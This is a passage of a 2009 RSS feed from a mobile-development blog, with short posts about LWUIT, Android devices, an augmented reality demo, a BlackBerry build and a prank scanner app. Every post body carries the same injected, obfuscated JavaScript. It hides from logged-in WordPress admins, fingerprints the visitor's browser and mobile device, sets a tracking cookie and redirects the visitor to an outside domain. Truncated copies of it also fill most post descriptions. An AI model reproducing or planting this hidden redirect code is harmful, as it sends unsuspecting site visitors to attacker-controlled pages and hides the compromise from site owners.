			<wfw:commentRss>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/feed/</wfw:commentRss>
		<slash:comments>431</slash:comments>
		</item>
		<item>
		<title>Google Dev Day</title>
		<link>http://bluetrail.co.uk/2009/11/google-dev-day/</link>
		<comments>http://bluetrail.co.uk/2009/11/google-dev-day/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 09:29:04 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=174</guid>
		<description><![CDATA[Visited Google to play with some new Android devices.  Hadn&#8217;t really thought through the  new HTC Tattoo  which has a smaller  screen than the  G1 &#8211; 240&#215;320.
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>Visited Google to play with some new Android devices.  Hadn&#8217;t really thought through the  new HTC Tattoo  which has a smaller  screen than the  G1 &#8211; 240&#215;320.</p>
<p><img class="aligncenter size-full wp-image-175" title="HTC Tattoo" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/Picture-12.png" alt="HTC Tattoo" width="337" height="545" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/11/google-dev-day/feed/</wfw:commentRss>
		<slash:comments>299</slash:comments>
		</item>
		<item>
		<title>Augmented Reality</title>
		<link>http://bluetrail.co.uk/2009/11/augmented-reality/</link>
		<comments>http://bluetrail.co.uk/2009/11/augmented-reality/#comments</comments>
		<pubDate>Wed, 18 Nov 2009 19:29:08 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[Android]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=157</guid>
		<description><![CDATA[Did a demo of an Augmented reality app at OpenMic #3 using the Layar Browser.  Hope to have something more concrete to post soon!!.
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>Did a demo of an Augmented reality app at <a href="http://openmicamp.ning.com/events/openmic-3-mobile-innovation">OpenMic #3</a> using the <a href="http://layar.com/">Layar Browser</a>.  Hope to have something more concrete to post soon!!.</p>
<p><img class="size-full wp-image-158 alignnone" title="layar" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/layar.png" alt="layar" width="320" height="480" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/11/augmented-reality/feed/</wfw:commentRss>
		<slash:comments>234</slash:comments>
		</item>
		<item>
		<title>Swift for Blackberry</title>
		<link>http://bluetrail.co.uk/2009/09/swift-for-blackberry/</link>
		<comments>http://bluetrail.co.uk/2009/09/swift-for-blackberry/#comments</comments>
		<pubDate>Fri, 18 Sep 2009 18:44:02 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[LWUIT]]></category>
		<category><![CDATA[Swift]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=150</guid>
		<description><![CDATA[We have been working hard on a Blackberry build for Swift.  It is a tough development environment and was tricky to get the camera going.  Here is a screen grab from the emulator.
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>We have been working hard on a Blackberry build for <a href="http://bluetrail.co.uk/swift/">Swift</a>.  It is a tough development environment and was tricky to get the camera going.  Here is a screen grab from the emulator.</p>
<p><img class="alignnone size-full wp-image-151" title="blackberry-image" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/blackberry-image.png" alt="blackberry-image" width="474" height="665" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/09/swift-for-blackberry/feed/</wfw:commentRss>
		<slash:comments>432</slash:comments>
		</item>
		<item>
		<title>LWUIT DateField and other bits</title>
		<link>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/</link>
		<comments>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/#comments</comments>
		<pubDate>Tue, 23 Jun 2009 11:13:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=83</guid>
		<description><![CDATA[We missed having a DateField in LWUIT, the Calendar is a great start but it looked a little strange on some phones and we needed something simpler, not to mention a time field.
To do this we extended the TextArea class to create our own MobrizDateField.  When the user clicks on this the system fires up a [...]]]></description>
			<content:encoded><![CDATA[<p>We missed having a DateField in LWUIT, the Calendar is a great start but it looked a little strange on some phones and we needed something simpler, not to mention a time field.</p>
<p>To do this we extended the <strong>TextArea</strong> class to create our own <strong>MobrizDateField</strong>.  When the user clicks on this the system fires up a standard LCDUI form with a DateField on it (DateForm).  The user can then use the native time/date features of the phone to complete the date/time</p>
<p>To tell LWUIT to intercept the DateField calls  we extended the <strong>GameCanvasImplementation</strong> to create our own <strong>MobrizMidpImplementation</strong>.  This overrides the editString method and launches the <strong>DateForm</strong> if the MobrizDateField is being used.  We needed a <strong>MobrizImplementationFactory</strong> to deliver this too.</p>
<p>To tell LWUIT to use the new MobrizMidpImplementation add the following to your code where you initailise the UI.</p>
<p><code><br />
..<br />
ImplementationFactory.setInstance(new MobrizImplementationFactory());<br />
Display.init(this.mobrizMidlet);<br />
..<br />
</code></p>
<p>Use the new MobrizDateField just like a TextArea:</p>
<p><code><br />
..<br />
MobrizDateField timeField = new MobrizDateField(dtLong + "", 10,MobrizDateField.TIME, "");<br />
form.addComponent(timeField) ;<br />
..<br />
</code></p>
<p>Things to note:</p>
<ul>
<li>The MobrizDateField takes a string or a long expressed as a string in the constructor .. this is a bit crap but suited us for our app.   you may want to change it match to LCDUI datefield exactly.</li>
<li>The MobrizDateField actually extends MobrizTextArea which is a TextArea that responds to any key press.</li>
</ul>
<p>Would welcome any comments or improvments!!!</p>
<p>As ever this code is provided without warranty &#8211; user at you own risk.</p>
<p>Here is the <a href="http://bluetrail.co.uk/wp-content/uploads/2009/06/lwuitdatefield.zip">source</a><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/06/lwuit-datefield-and-other-bits/feed/</wfw:commentRss>
		<slash:comments>449</slash:comments>
		</item>
		<item>
		<title>Prank Scanner for Android Market</title>
		<link>http://bluetrail.co.uk/2009/05/prank-scannerfor-android-market/</link>
		<comments>http://bluetrail.co.uk/2009/05/prank-scannerfor-android-market/#comments</comments>
		<pubDate>Fri, 01 May 2009 20:41:15 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Android App]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=164</guid>
		<description><![CDATA[Search the Android market for &#8216;Prank Scanner&#8217;   
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>Search the Android market for &#8216;Prank Scanner&#8217;  <img src='http://bluetrail.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><img class="aligncenter size-full wp-image-140" title="scanner2" src="http://bluetrail.co.uk/wp-content/uploads/2009/05/scanner2.jpg" alt="scanner2" width="436" height="218" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/05/prank-scannerfor-android-market/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>
